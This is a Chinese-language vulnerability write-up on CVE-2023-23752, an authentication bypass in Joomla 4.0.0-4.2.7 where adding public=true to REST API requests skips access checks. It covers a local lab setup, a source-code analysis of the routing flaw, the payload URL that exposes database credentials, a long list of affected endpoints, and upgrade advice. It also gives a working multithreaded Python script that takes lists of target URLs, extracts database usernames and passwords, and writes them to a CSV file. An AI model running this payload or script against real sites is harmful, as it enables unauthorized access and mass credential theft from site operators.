前言
Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
一、漏洞简介
在 Joomla! 版本为4.0.0
到 4.2.7
中发现了一个漏洞,由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
二、影响版本
- 4.0.0 <= Joomla <= 4.2.7
三、环境搭建
我们用phpStudy搭建漏洞环境: Apache 2.4.39+MySQL 5.7.26+PHP7.4.3
安装包下载地址: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip
下载完成后解压到WWW目录下
访问目标 http://127.0.0.1/
来到安装界面
登录数据自行设定
数据库配置
安装成功
点击访问后台,跳转后台登录界面
环境搭建完成,接下来还原一下漏洞触发场景。
四、漏洞分析
Joomla大致有三个路由入口,分别是:
根目录的index.php
(用户访问文章)
根目录的administrator/index.php
(管理员管理)
根目录的api/index.php
(开发者爱好的Rest API)
未授权的接口就是api/index.php
,因此影响的只有Joomla 4.0.0~Joomla 4.2.7
(Rest API 4.x 正式开发)
通过查看源码调试分析发现是对api路径下的身份校验进行了绕过,默认在未登录的情况下访问,返回内容如下
这里仅重点分析api/index.php
这个路由的问题 (index.php和administrator/index.php找不到漏洞)
使用phpstorm工具对代码进行分析
网站输入 /api/index.php
开启debug模式
index.php会来到 app.php。其中 $app主要的input成员存放所有的HTTP请求参数
在execute()函数中,会经过sanityCheckSystemVariables函数,此函数用来过滤渲染模板的参数,主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。
doExecute中最重要的就是route
和dispatch
函数。
route:路由选择与鉴权
整个route函数分为两部分,路由选择
和身份校验
逻辑十分清晰,主要是直接通过parseApiRoute
函数从请求的方法和url到$routers
中找到对应的路由信息
身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false
,不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute
时会有新的发现。
这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜
此时route.var中的变量会被请求的变量覆盖。由于public=true
,所以接口不需要身份验证,直接到达路由分发,也就是业务逻辑。
受损的API清单
由于能够直接访问API了,从中找到最终的信息即可。
/api/index.php/v1/config/application?public=true
//此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码。
五、漏洞复现
Payload:http://127.0.0.1/api/index.php/v1/config/application?public=true
可获取到数据库的配置信息
获取网站配置信息
http://127.0.0.1/api/index.php/v1/users?public=true
其他影响API如下
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
验证脚本(POC):
# -*- coding: utf-8 -*-
import requests
import argparse
import threading
import sys
import re
import time
def cmd_line():
parse = argparse.ArgumentParser(
description="Joomla 未授权访问漏洞 CVE-2023-23752",
usage='''
python CVE-2023-23752.py -u url
python CVE-2023-23752.py -f file.txt
python CVE-2023-23752.py -f file.txt -o out_file.csv
python CVE-2023-23752.py -f file.txt -p socks5://127.0.0.1:8080
''', add_help=True)
parse.add_argument('-u', '--url', help="指定url地址")
parse.add_argument('-f', '--file', help="指定文件")
parse.add_argument('-p', '--proxy', help="设置代理,如socks5://127.0.0.1:8080 [clash]")
parse.add_argument('-o', '--output', help="将结果输出到文件", default=str(time.time()) + ".csv")
if len(sys.argv) == 1:
sys.argv.append('-h')
return parse.parse_args()
def poc(url, proxy_server, output_file):
try:
if url[-1:] == '/':
url = str(url).strip('/')
payload = "{}/api/index.php/v1/config/application?public=true".format(url)
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"}
response = requests.get(url=payload, proxies={"http": proxy_server, "https": proxy_server}, headers=header)
html = response.text
if "password" in html:
print("[+] 漏洞存在![✅]url: {}".format(url))
pattern = re.compile(r'\{"user":"(.*?)","id":')
username = pattern.findall(html)[0]
print('用户名: ' + username)
pattern = re.compile(r'\{"password":"(.*?)","id":')
password = pattern.findall(html)[0]
print('密码: ' + password)
if output_file:
with open(output_file, 'a', encoding='utf-8') as f:
f.write('{0},{1},{2},{3}\n'.format(url, payload, username, password))
else:
print("[x] 未检测到漏洞![x] url: {}".format(url))
except:
print("[!] URL连接失败![!] url: {}".format(url))
def file(url, file, proxy_server, output_file):
with open(file, 'r', encoding='utf-8') as f:
urls = f.readlines()
threads = []
for url in urls:
t = threading.Thread(target=poc, args=(url.strip(), proxy_server, output_file))
threads.append(t)
t.start()
if __name__ == "__main__":
args = cmd_line()
if args.file:
file(args.url, args.file, args.proxy, args.output)
else:
poc(args.url, args.proxy, args.output)
六、修复建议
官方已发布安全版本修复此漏洞,建议受影响的用户及时升级防护:https://downloads.joomla.org/